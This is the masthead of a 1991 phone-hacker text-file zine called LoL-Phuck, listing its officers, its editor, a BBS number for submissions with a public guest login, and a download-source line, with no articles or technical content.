Prezident of [Phuck] : Tripin Face (aka Cobra Commander)
|
|
Out of US Representatives : Mr Big -=- Sweden
|
|
|
|
==============================================================================
|
|
Legions of Lucifer - Phone Hackers United to Crash & Kill < LoL-Phuck >
|
|
LoL-Phuck, Inc. / Issue Number 2.01 08.29.1991 Complete
|
|
(C)Copr 1990,91 Cypher Productions - All rights reserved.
|
|
------------------------------------------------------------------------------
|
|
All text file submissions should go to:
|
|
West Coast Technologies, Inc. @ +1-213-274-1333
|
|
(Use the guest account; User Name: GUEST Password: GUEST)
|
|
------------------------------------------------------------------------------
|
|
______________________________________________________________________________
|
|
==============================================================================
|
|
==============================================================================
|
|
- Digitone Cypher (Main Editor/Layout/President)
|
|
==============================================================================
|
|
456835454/021491-0202
|
|
|
|
Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
|